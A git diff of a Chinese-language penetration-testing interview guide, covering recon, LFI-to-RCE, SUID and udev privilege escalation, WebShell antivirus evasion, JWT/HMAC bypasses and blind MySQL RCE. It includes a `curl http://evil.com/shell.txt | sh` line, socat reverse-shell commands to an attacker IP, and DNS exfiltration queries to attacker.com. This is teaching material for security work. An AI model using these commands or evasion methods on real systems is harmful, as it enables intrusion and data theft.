diff --git a/Chapter1/1-29.md b/Chapter1/1-29.md index cb2c77a..9315682 100644 --- a/Chapter1/1-29.md +++ b/Chapter1/1-29.md @@ -6,32 +6,28 @@ Web 配置文件通常包含连接数据库、调用第三方服务(API Key) ASP.NET 网站的核心配置文件集中在应用的根目录,文件名固定,便于查找 -| 目标文件 | 常见路径 | 敏感信息 | -| ---------------- | -------------- | ------------------------------------------------------------ | +| 目标文件 | 常见路径 | 敏感信息 | +| ---------------- | --------- | ------------------------------------------------------------------------ | | **`Web.config`** | Web 应用根目录 | **数据库连接字符串**(SQL Server/MySQL 等)、**加密密钥**(MachineKey)、**会话状态配置**、自定义应用设置 | - - **2. PHP 网站 (LAMP/LEMP)** PHP 网站的配置文件命名较为灵活,通常位于应用的根目录或专门的配置目录中。渗透测试时,需要重点关注包含 `db` 或 `conn` 字样的文件 -| 目标文件 | 常见路径 | 敏感信息 | -| ------------------ | ----------------------- | ------------------------------------------------------------ | +| 目标文件 | 常见路径 | 敏感信息 | +| ------------------ | ----------------- | --------------------------------------------- | | **`config.php`** | 根目录或 `/config` 目录 | 数据库连接参数、API Key、配置常量、**Redis/Memcached 连接信息** | | **`db.php`** | 根目录或 `/config` 目录 | **数据库主机、端口、用户名、密码** | -| **`conn.php`** | 根目录或 `/config` 目录 | 数据库连接函数或代码 | -| **`database.php`** | 根目录或 `/config` 目录 | 数据库连接配置 | - - +| **`conn.php`** | 根目录或 `/config` 目录 | 数据库连接函数或代码 | +| **`database.php`** | 根目录或 `/config` 目录 | 数据库连接配置 | **3. Java/JSP 网站 (Tomcat/Spring)** Java 应用的配置文件散布在 `WEB-INF/classes` 目录中,它们通常是**属性文件(Properties)** 或 **YAML/XML 格式**。此外,应用服务器本身的配置文件也是重要的目标 -| 目标文件 | 常见路径 | 敏感信息 | -| ---------------------- | ----------------------------------------- | ------------------------------------------------------------ | -| **`.properties` 文件** | `webapps/[应用名称]/WEB-INF/classes` 目录 | `application.properties`, `jdbc.properties`, `database.properties`, `db.properties` 等,包含**数据库连接、第三方服务配置** | -| **`.yaml` 文件** | `webapps/[应用名称]/WEB-INF/classes` 目录 | `application.yaml` 或 `application.yml`,**Spring Boot/Cloud** 应用的核心配置文件,包含所有敏感配置 | -| **`web.xml`** | `webapps/[应用名称]/WEB-INF` 目录 | 部署描述符,可能包含**Servlet/Filter 的初始化参数**(如密码) | -| **`tomcat-users.xml`** | `apache-tomcat/conf` 目录 | **Tomcat 管理后台的用户名和密码**,一旦获取,可直接控制应用服务器 | \ No newline at end of file +| 目标文件 | 常见路径 | 敏感信息 | +| ---------------------- | ----------------------------------- | --------------------------------------------------------------------------------------------------------- | +| **`.properties` 文件** | `webapps/[应用名称]/WEB-INF/classes` 目录 | `application.properties`, `jdbc.properties`, `database.properties`, `db.properties` 等,包含**数据库连接、第三方服务配置** | +| **`.yaml` 文件** | `webapps/[应用名称]/WEB-INF/classes` 目录 | `application.yaml` 或 `application.yml`,**Spring Boot/Cloud** 应用的核心配置文件,包含所有敏感配置 | +| **`web.xml`** | `webapps/[应用名称]/WEB-INF` 目录 | 部署描述符,可能包含**Servlet/Filter 的初始化参数**(如密码) | +| **`tomcat-users.xml`** | `apache-tomcat/conf` 目录 | **Tomcat 管理后台的用户名和密码**,一旦获取,可直接控制应用服务器 | \ No newline at end of file diff --git a/Chapter1/1-31.md b/Chapter1/1-31.md index 2c1fc1a..109821f 100644 --- a/Chapter1/1-31.md +++ b/Chapter1/1-31.md @@ -1,24 +1,23 @@ -### 请说明 MSF 的扫描模块与 Nmap 或 FScan 相比,在隐蔽性和灵活性上的优势和劣势 +### 如果目标站点开启了 WAF 或对高频扫描进行了封禁,你会怎么获取敏感路径 -**隐蔽性** +**高级搜索引擎语法**: -在隐蔽性方面,**MSF 模块**通常比原生扫描器更具优势,因为它工作在**应用层(L7)** +- 使用Google或Bing的高级语法搜索目标域名下的遗留路径 +- 例如:`site:target.com intitle:"index of"`(查看目录列表) -- **MSF 的优势:** MSF 的辅助模块模仿的是**真实的客户端与服务器的协议交互**,例如发送一个标准的 HTTP GET 请求来获取版本信息,或者尝试一个正常的 SMB 登录。这种流量看起来更像**正常的业务通信**,能够更好地**规避 IDS/IPS 对原始网络包(Raw Packets)的检测**。此外,MSF 模块通常是针对**特定目标或任务**进行单次、精准的验证,不容易被发现 -- **原生扫描器的劣势:** **Nmap** 和 **FScan** 主要依赖于发送 **L3/L4 层的原始数据包**(如 SYN/ACK、ICMP)。尽管 Nmap 支持多种隐蔽扫描技术(如 FIN、Xmas),但这种**裸包扫描的特征**非常明显,很容易被专业的流量分析工具和 IDS/IPS 标记为**恶意扫描行为**。它们默认往往进行**大范围、多端口的全面扫描**,容易被发现 +**网络空间搜索引擎**: -**** +- 利用 Fofa、Shodan、ZoomEye 等平台。它们会定期扫描全网并存储历史数据。通过这些平台,我们有时能直接看到目标服务器上曾经开放的端口、目录结构,甚至是一些已经被删除但依然存在于缓存中的敏感文件 -**灵活性** +**JS 爬取**: -在灵活性方面,MSF 的优势体现在**流程整合**和**快速定制**上,而 Nmap/FScan 则体现在**扫描深度**上 +- 手动或使用工具(如`Web-Recon`)深度爬取目标网站的 JavaScript 文件 +- 现代前端框架(如React、Vue)会将 API 接口、后台路径、隐藏参数硬编码在 JS 文件中 -**流程整合与定制(MSF 优势)** +**GitHub 搜索**: -- **MSF 的巨大优势:** MSF 提供了**一站式的渗透测试流程**。扫描模块的输出(如发现的服务版本或弱口令)可以**直接无缝地作为利用模块(Exploit)的输入**,实现了**信息收集、漏洞利用到后渗透的自动化衔接**。这种**功能整合性**是 Nmap/FScan 无法比拟的,后者需要手动导入数据 -- **MSF 的定制优势:** MSF 模块基于 **Ruby** 脚本语言编写,结构清晰。这使得渗透测试工程师可以**快速、轻松地修改**现有模块的协议交互逻辑、添加自定义的指纹识别,或者整合自己的混淆技术,**定制和迭代效率极高** +- 搜索目标公司员工的代码提交记录。有时候员工会将包含敏感路径的配置文件错误地提交到公开仓库 -**扫描深度与覆盖(Nmap/FScan 优势)** +**分析历史DNS记录**: -- **原生扫描器的巨大优势:** **Nmap** 是业界公认的**端口扫描之王**,在**网络发现**和**全面资产识别**方面具有不可撼动的地位。它支持所有 TCP/UDP 协议的底层裸包扫描,能够穿透各种网络环境,实现**最全面的端口服务覆盖** -- **MSF 的劣势:** MSF 模块多是针对**特定应用或漏洞**的验证性脚本,其设计的目的在于“验证是否存在”,而非“发现所有资产”。因此,它在发现**未知或非标准服务**的**深度和广度**上,远不如 Nmap \ No newline at end of file +- 通过SecurityTrails等平台查询历史DNS解析记录。很多时候,开发者会使用`dev.target.com`、`test.target.com`或`jenkins.target.com`作为内部测试子域名 \ No newline at end of file diff --git a/Chapter1/1-32.md b/Chapter1/1-32.md deleted file mode 100644 index 4e8c78e..0000000 --- a/Chapter1/1-32.md +++ /dev/null @@ -1,65 +0,0 @@ -### 请你详细说说你如何定制或魔改一个 MSF 扫描模块使其能更好地绕过流量分析和 IDS/IPS 的检测 - -**一、理解检测原理与目标** - -在动手修改代码之前,**深入理解 IDS/IPS 和流量分析的工作原理**至关重要 - -- **IDS/IPS 的检测机制:** - - **签名匹配 (Signature-based):** 默认 MSF 模块中的特定字节序列、Header 值(如 User-Agent)或请求结构是已知的签名 - - **异常检测 (Anomaly-based):** 寻找与正常流量模式(如不常见的端口、非标准协议行为、高并发连接速率)的偏差 - - **协议解析 (Protocol Parsing):** 检查请求是否符合协议规范 -- **流量分析的关键点:** - - **时间特征:** 快速、连续的扫描行为(高连接速率) - - **指纹信息:** 默认的 HTTP Header (如 `User-Agent: Metasploit`), TCP/IP 栈指纹 - - **载荷特征:** 默认载荷的字节序列、编码方式 - -**** - -**二、模块定制与魔改的四大策略** - -我主要从 **网络层、应用层、行为模式** 和 **载荷** 四个维度进行魔改 - -**1. 流量特征模糊化(应用层/网络层)** - -这部分旨在改变数据包的**静态指纹**,使其看起来更像正常、随机的客户端流量 - -| 定制目标 | 具体魔改方法 | 绕过机制 | -| -------------------- | ------------------------------------------------------------ | -------------------------------------- | -| **User-Agent** | 随机化 **`User-Agent`** 列表,使用主流浏览器和操作系统的真实组合。**避免**使用 MSF 或其他工具的默认值。 | 绕过基于特定 UA 签名的检测 | -| **HTTP Header** | 增加、修改或随机化其他 Header,如 `Accept-Language`, `Referer`, `Cache-Control`。**特别是**修改 **`Accept-Encoding`**,以影响响应和请求的压缩 | 模拟真实浏览器行为,使流量分析更困难 | -| **TLS/SSL 指纹** | 在使用 HTTPS 扫描时,修改 **JA3/JA4 指纹**。这通常涉及修改底层的 Ruby 库或使用特定的 Sockets 库,以随机化 **Client Hello** 消息中的加密套件、扩展顺序等 | 绕过基于 TLS 握手特征的检测 | -| **IP 分片/TCP 乱序** | 引入 IP 分片或 TCP 分段乱序的逻辑(需更底层库支持),但需注意过度使用可能导致目标拒绝连接 | 绕过签名匹配(签名可能无法跨分片识别) | - - - -**2. 行为模式降速与随机化** - -这是绕过基于**行为分析**和**速率限制**的关键 - -- **延迟与抖动 (Delay & Jitter):** - - **增加扫描间隔 (`Sleep`):** 在每次连接请求之间引入随机的延迟,如 2∼5 秒,避免高并发 - - **引入随机抖动:** 使用非线性的、随机的延迟时间,使扫描速率难以被算法模型预测 -- **IP 地址轮换 (Proxy Chaining):** - - 集成 **Socks 代理链 (如 Tor)** 或购买**高匿名的住宅 IP 池**。在 MSF 模块中,可以通过设置 `Proxies` 选项,或直接修改模块代码以从 IP 池中随机选择出口 IP -- **连接失败处理:** - - 设置更人性化的重试机制,而不是立即放弃或高速重试,模拟网络不稳定的真实用户行为 - - - -**3. 代码逻辑混淆与指纹去除** - -直接修改模块的 Ruby 代码,消除内部的**软件指纹** - -- **移除/修改内部标识符:** 许多 MSF 模块会在请求中加入一些微小的、不影响功能的标识符。比如,在 POST 请求体中加入**不影响解析的空格或随机参数** -- **重写核心请求函数:** 避免使用 MSF 默认的 `send_request_cgi` 等包装函数,而是使用更底层的 `Rex::Socket` 或其他 Ruby HTTP 库,**完全重构**请求的构造过程,消除函数调用栈和代码结构上的指纹 -- **自定义协议处理:** 如果是针对非 HTTP 协议的扫描,重写协议解析和构造逻辑,确保只发送扫描所需的最小数据,并使用非标准的字段顺序 - - - -**4. 载荷定制与动态编码** - -对于渗透模块(如 Exploit),载荷的定制是核心 - -- **动态编码:** 不使用 MSF 默认的编码器(如 `shikata_ga_nai`,它们有已知特征),而是使用**自定义或多重异或/加法编码**,并结合**自定义解码存根** -- **无文件载荷:** 尽可能使用反射型 DLL 注入或其他内存载荷,避免将恶意文件写入磁盘,绕过基于文件哈希和行为的终端检测 -- **载荷分块传输:** 将载荷分割成多个小块,通过不同的请求或连接分阶段传输,最后在目标内存中重组,绕过基于载荷完整性的深度包检测 (DPI) \ No newline at end of file diff --git a/Chapter12/12-2.md b/Chapter12/12-2.md new file mode 100644 index 0000000..6ba640c --- /dev/null +++ b/Chapter12/12-2.md @@ -0,0 +1,5 @@ +### 任意文件读取漏洞 `..%01` 绕过原理 + +C 语言中,字符串以 `\0`(null 字节)作为结束标志,一旦遇到该字符,后续内容将被忽略 + +当用户提交 `%00` 时,Web 服务器(或应用层)会对其进行 URL 解码,还原成二进制 `0x00`。如果应用程序没有过滤或转义这个空字节,并将其直接传递给底层文件操作函数,那么函数会认为字符串在空字节处结束,从而丢弃后面的字符 \ No newline at end of file diff --git a/Chapter13/13-6.md b/Chapter13/13-6.md index c78246a..0ed1868 100644 --- a/Chapter13/13-6.md +++ b/Chapter13/13-6.md @@ -6,8 +6,8 @@ **渗透思路:** -- 利用SQL注入读取网站的配置文件,获取文件上传路径 -- 利用SQL注入修改数据库中的上传路径或白名单,使其允许上传恶意文件类型(如 `.php`) +- 利用 SQL 注入读取网站的配置文件,获取文件上传路径 +- 利用 SQL 注入修改数据库中的上传路径或白名单,使其允许上传恶意文件类型(如 `.php`) - 结合文件上传漏洞,上传精心构造的 `webshell` **2. 利用数据库的写权限进行命令执行** @@ -35,8 +35,8 @@ **渗透思路:** -- **SQL注入提权**: 利用 SQL 注入获取数据库 `root` 权限 -- **上传UDF文件**: 通过 `load_file()` 或 `into dumpfile` 等方法,将恶意 UDF 库文件(例如`lib_mysqludf_sys.so`)上传到数据库服务器的插件目录 +- **SQL 注入提权**: 利用 SQL 注入获取数据库 `root` 权限 +- **上传 UDF 文件**: 通过 `load_file()` 或 `into dumpfile` 等方法,将恶意 UDF 库文件(例如`lib_mysqludf_sys.so`)上传到数据库服务器的插件目录 - **创建自定义函数**: 在数据库中创建新的函数,例如 `sys_eval()`,该函数能够执行系统命令 - **执行命令**: 调用 `sys_eval()` 函数,执行系统命令,例如 `select sys_eval('curl http://evil.com/shell.txt | sh')` - **注意**: 这种方法主要用于在数据库服务器上获取 `shell`,而不是在 Web 服务器上。但如果数据库服务器配置不当,可能通过 UDF 执行的命令来反向攻击 Web 服务器 \ No newline at end of file diff --git a/Chapter13/13-7.md b/Chapter13/13-7.md new file mode 100644 index 0000000..fd4fef0 --- /dev/null +++ b/Chapter13/13-7.md @@ -0,0 +1,23 @@ +### LFI 怎么打 RCE + +**1. 日志文件注入** + +Web 服务器通常记录访问日志(如 Apache 的 `access.log`、`error.log`),攻击者可在 User-Agent、Referer 等头中插入PHP 代码,然后通过 LFI 包含日志文件,使代码被执行 + +**2. 包含 `/proc/self/environ`** + +该文件包含当前进程的环境变量,User-Agent、Referer 等请求头会作为环境变量值写入。可通过 User-Agent 注入代码,然后包含该文件 + +**3. PHP 伪协议** + +a) `php://filter` 配合文件上传 + +通过 `php://filter/convert.base64-encode/resource=` 可读取源码,但若想写入 Webshell,常结合文件上传功能:先上传一个含有 PHP 代码的图片马,然后用 `php://filter` 读取并解码写入新文件 + +b) `php://input` + +当 `allow_url_include=On` 时,可通过 `php://input` 执行 POST 数据中的代码 + +c) `data://` 协议 + +同样需要 `allow_url_include=On`,可直接在 URL 中嵌入代码 diff --git a/Chapter15/15-34.md b/Chapter15/15-34.md new file mode 100644 index 0000000..b02e25c --- /dev/null +++ b/Chapter15/15-34.md @@ -0,0 +1,18 @@ +### 如果发现某个二进制文件设置了 SUID,你该如何快速判断它是否可以被用来提权 + +**1. 确认基本条件** + +- 所有者是否为 root:使用 `ls -l` 查看文件所有者。只有 root 所有的 SUID 文件才有提权价值 +- 当前用户是否可执行:检查文件权限中是否有 `x`(执行权),若无则无法利用 + +**2. 检查是否属于 GTFOBins 列表** + +GTFOBins 是一个专门收录可被用于绕过安全限制的 Unix 二进制文件的社区项目 + +```bash +https://gtfobins.github.io/gtfobins/ +``` + +**3. 检查调用** + +结合 strings 快速查看可疑调用 \ No newline at end of file diff --git a/Chapter15/15-35.md b/Chapter15/15-35.md new file mode 100644 index 0000000..5f9e0c2 --- /dev/null +++ b/Chapter15/15-35.md @@ -0,0 +1,74 @@ +### 除了 Python,请再给出一种在环境中没有安装 Python 时升级 TTY 的方法 + +**方法一:使用 Script 命令** + +大多数 Linux 发行版默认安装了 `script` 工具,可用于记录终端会话,同时生成一个完整的 TTY + +```bash +script /dev/null -c bash +# 或 +script -q /dev/null +``` + +- 原理:`script` 会创建一个新的伪终端(pty),并将当前 Shell 附加到该终端上 + +**方法二:使用 Socat** + +如果目标有 `socat`,可以创建完整的双向交互式 Shell + +在攻击机监听 + +```bash +socat file:`tty`,raw,echo=0 tcp-listen:4444 +``` + +在目标机连接 + +```bash +socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:攻击机IP:4444 +``` + +- **优点**:获得完整的伪终端,支持 Tab 补全、作业控制、信号处理 +- **缺点**:`socat` 并非默认安装,可能需要上传静态编译版本 + +**方法三:使用 Expect** + +`expect` 常用于自动化交互式程序,也可以用来提升 TTY + +```bash +expect -c 'spawn bash; interact' +``` + +- **原理**:`spawn` 创建一个新的伪终端进程,`interact` 将控制权交给用户 +- **前提**:需要目标安装 `expect` + +**方法四:使用 Stty 手动配置** + +即使没有额外工具,也可以通过 `stty` 命令手动恢复终端的基本功能: + +```bash +# 在当前受限 Shell 中执行 +stty raw -echo +# 按下 Ctrl+J(不是回车)重新连接 +# 然后输入 reset 并按 Ctrl+J +reset +export SHELL=bash +export TERM=xterm-256color +stty rows 38 columns 116 +``` + +步骤解析: + +1. `stty raw -echo`:关闭终端的行缓冲和回显,使字符立即传递 +2. `Ctrl+J`(即换行符)重新连接 Shell +3. `reset` 初始化终端状态 +4. 设置环境变量和终端尺寸(可选) + +**方法五:使用其他编程语言** + +如果目标没有 Python 但有 Perl(很多系统默认安装) + +```bash +perl -e 'use POSIX qw(setsid); print " spawn tty\n"; system("bash -i");' +``` + diff --git a/Chapter15/15-36.md b/Chapter15/15-36.md new file mode 100644 index 0000000..4af0684 --- /dev/null +++ b/Chapter15/15-36.md @@ -0,0 +1,15 @@ +### 请简述 udev 提权漏洞的基本原理 + +**udev** 是 Linux 内核的设备管理器,负责动态管理 `/dev` 目录下的设备节点 + +当内核检测到硬件事件(如插入 USB 设备)时,会通过 **netlink 套接字** 向用户空间的 udev 守护进程发送 **uevent**(设备事件) + +udev 根据 `/etc/udev/rules.d/` 中的规则执行相应操作(如创建设备文件、加载驱动、运行自定义程序) + +内核发送的 uevent 本质是一条包含环境变量(如 `ACTION=add`、`DEVPATH=...`)的字符串 + +udev 守护进程以 **root 权限** 运行,它接收并解析这些消息,然后根据规则执行操作 + +**问题在于**:netlink 套接字不仅允许内核向 udev 发送消息,**也允许用户空间的普通进程向 udev 发送伪造的 uevent** + +发送伪造消息后,udev 以 root 权限处理该消息,执行攻击者控制的命令 \ No newline at end of file diff --git a/Chapter19/19-5.md b/Chapter19/19-5.md new file mode 100644 index 0000000..ad5c889 --- /dev/null +++ b/Chapter19/19-5.md @@ -0,0 +1,22 @@ +### WebShell 免杀方式有哪些 + +**字符串拆分与拼接**:将敏感函数名、命令拆分为多段,运行时动态拼接 + +**编码与加密**:使用 Base64、AES 等编码核心载荷,运行时解码执行 + +**变量名与函数名随机化**:使用无意义的变量名,增加人工分析难度 + +**使用冷门回调函数**:如 `array_map`、`array_filter`、`usort` 等配合 `call_user_func` + +**利用反射或动态特性**:PHP 中通过 `$func = new ReflectionFunction('system'); $func->invoke('whoami');` + +**借助语言自身机制**:如 Java 中的 ScriptEngine、Python 的 `exec`/`eval` 多层包装 + +**分段加载**:主 Shell 代码仅负责从远端获取真正的后门代码并执行(类似 Stager 模式) + +**时间条件**:仅在特定时间或延迟几秒后执行,规避沙箱的短时间行为分析 + +**换行符/注释混淆**:在关键函数中插入换行、多行注释、无效字符 + +**多层嵌套与动态调用**:将执行链拆解为多步,每一步看似正常,运行时才组合 + diff --git a/Chapter28/28-7.md b/Chapter28/28-7.md new file mode 100644 index 0000000..44713c9 --- /dev/null +++ b/Chapter28/28-7.md @@ -0,0 +1,25 @@ +### Web 测试越权漏洞发现敏感参数都经过了带有 HMAC 验证,在无法暴力破解 Key 的情况下怎么绕过 + +**1. 算法混淆与降级** + +- 尝试将签名算法字段改为 `none` 或弱算法,观察是否被接受 + +**2. 签名比较方式** + +- 若后端使用 `==` 或 `strcmp` 进行字符串比较,可能被**时序攻击**或**类型混淆**利用 + +**3. 签名截断** + +- 某些系统只验证签名的前几位(如前16位),可尝试截断签名或提交短签名,观察是否通过校验 + +**4. 参数注入与覆盖** + +- 利用 HTTP 参数解析歧义(如 `role=A&role=admin`),后端可能取第一个或最后一个值,而签名可能只覆盖其中一个 + +**5. 参数排序与拼接** + +- 如果签名基于键值对拼接(如`k1=v1&k2=v2`),但后端解析时对参数进行排序或去重,导致签名验证时使用的字符串与原始不同。尝试调整参数顺序,使签名仍匹配 + +**6. 签名生成接口暴露** + +- 检查是否存在未授权的签名生成接口(如`/sign?data=...`),可构造任意参数的签名。若该接口未严格校验权限,则直接获取有效签名 \ No newline at end of file diff --git a/Chapter28/28-8.md b/Chapter28/28-8.md new file mode 100644 index 0000000..3ca57f9 --- /dev/null +++ b/Chapter28/28-8.md @@ -0,0 +1,17 @@ +### JWT 有哪些漏洞 + +**1. 算法混淆攻击** + +- 原理:服务器使用 RS256(非对称加密)验证令牌,但攻击者将算法头部改为 HS256(对称加密),并利用服务器公钥作为 HMAC 密钥签名令牌。 +- 利用条件:服务器未严格校验算法类型,且公钥可获取 +- 攻击步骤: + 1. 获取服务器公钥(通常从 `/jwks.json` 或重复使用 SSL 证书) + 2. 修改 JWT 头部:`"alg":"HS256"` + 3. 使用公钥作为密钥生成 HMAC 签名 + 4. 服务器用公钥解密(误认为是 HMAC 密钥)→ 验证通过 + +**2. none 算法攻击** + +- **原理**:将 `alg` 头部设为 `none`,使服务器跳过签名验证 +- **利用**:直接删除签名部分,修改 Payload 内容 +- **防御**:现代 JWT 库默认禁用 `none`,但配置错误可能启用 \ No newline at end of file diff --git a/Chapter32/32-1.md b/Chapter32/32-1.md new file mode 100644 index 0000000..4a91bbf --- /dev/null +++ b/Chapter32/32-1.md @@ -0,0 +1,2 @@ +### `%00` 绕过的原理是什么 + diff --git a/Chapter4/4-24.md b/Chapter4/4-24.md new file mode 100644 index 0000000..2733091 --- /dev/null +++ b/Chapter4/4-24.md @@ -0,0 +1,54 @@ +### 无回显、MySQL 5.7 以下、wait_timeout 极短的情况下怎么快速验证 RCE + +要最终执行系统命令,通常需要满足以下条件之一: + +1. **文件写入权限 + 知道可写 Web 路径**:通过`INTO OUTFILE`写入Webshell,再通过 HTTP 访问触发命令执行 +2. **文件写入权限 + 计划任务/启动项**:写入计划任务或启动脚本,等待系统定时或重启时执行 +3. **数据库扩展(UDF)**:拥有 `FILE` 权限且插件目录可写,加载自定义函数执行系统命令 +4. **MySQL 日志功能**:开启 general log 并将查询写入 Web 目录,生成包含代码的日志文件(需满足写权限) + +**1. 验证数据库出网能力** + +利用 `LOAD_FILE()` 支持 UNC 路径的特性(MySQL 中 `load_file()` 可访问 `\\\\IP\\share`,触发 SMB 请求),将数据作为子域名发送至攻击者控制的 DNS 服务器 + +```sql +SELECT LOAD_FILE(CONCAT('\\\\', (SELECT @@version), '.attacker.com\\test')); +``` + +若攻击者收到 DNS 解析请求,则证明: + +- 数据库可以出网 +- 数据库版本已知 +- 数据库用户拥有 `FILE` 权限(因为 `LOAD_FILE` 需要 `FILE` 权限) + +**2. 探测`secure_file_priv`设置** + +继续利用 `LOAD_FILE` 将 `secure_file_priv` 的值带出: + +```sql +SELECT LOAD_FILE(CONCAT('\\\\', (SELECT @@global.secure_file_priv), '.attacker.com\\priv')); +``` + +- 如果收到 `空.attacker.com`,表示 `secure_file_priv` 为空,允许任意路径写入 +- 如果收到如 `/var/lib/mysql-files.attacker.com`,则只允许该目录 +- 如果没有收到请求,则可能是 `NULL`,需进一步确认(可尝试写入测试文件后验证) + +**3. 探测可写目录** + +若 `secure_file_priv` 允许写入,需要找到一个可写且后续能触发命令的目录。常见试探目标: + +- **Web 根目录**:尝试写入一个无害测试文件(如`test.txt`),然后通过 HTTP 访问确认 +- **系统临时目录**(如 `/tmp`、`C:\Windows\Temp`):可写但通常无法直接触发命令,除非配合其他漏洞 +- **计划任务目录**(如 `/etc/cron.d/`、`C:\Windows\Tasks`):写入后等待系统执行 + +**4. 验证 UDF 可能性** + +如果无法写入计划任务或Web路径,但数据库版本较低且为 root,可尝试 UDF。需先获取插件目录 + +```sql +SELECT @@plugin_dir; +``` + +可通过 OOB 带出 + +如果插件目录可写,则可写入UDF库(需先转换为十六进制)并创建函数执行命令 \ No newline at end of file diff --git a/SUMMARY.md b/SUMMARY.md index 0c6d683..ef463f2 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -1,4 +1,4 @@ -# 目录 +目录 - [前言](README.md) - [1. 信息收集](Chapter1/README.md) @@ -32,351 +32,358 @@ - [1.28 怎么收集主机上的所有有关密码的敏感信息](Chapter1/1-28.md) - [1.29 Web 配置文件信息怎么收集](Chapter1/1-29.md) - [1.30 抓取到域内 Windows 主机的 Wi-Fi 密码有什么利用思路](Chapter1/1-30.md) - - [1.31 请说明 MSF 的扫描模块与 Nmap 或 FScan 相比,在隐蔽性和灵活性上的优势和劣势](Chapter1/1-31.md) - - [1.32 请你详细说说你如何定制或魔改一个 MSF 扫描模块使其能更好地绕过流量分析和 IDS/IPS 的检测](Chapter1/1-32.md) -- [2. XSS](Chapter2/README.md) - - [2.1 输出到 href 属性的 XSS 如何防御](Chapter2/2-1.md) - - [2.2 XSS 绕过方式](Chapter2/2-2.md) - - [2.3 XSS 利用方式](Chapter2/2-3.md) - - [2.4 XSS 怎么打内网](Chapter2/2-4.md) - - [2.5 XSS 如何绕过 HttpOnly 获取 Cookie](Chapter2/2-5.md) - - [2.6 有 Shell 的情况下如何使用 XSS 实现对目标站的长久控制](Chapter2/2-6.md) - - [2.7 反射型、存储型、DOM 型 XSS 的核心区别](Chapter2/2-7.md) - - [2.8 为什么说 DOM XSS 对传统 WAF 基本免疫](Chapter2/2-8.md) - - [2.9 如果你发现一个输入点最终进入了 `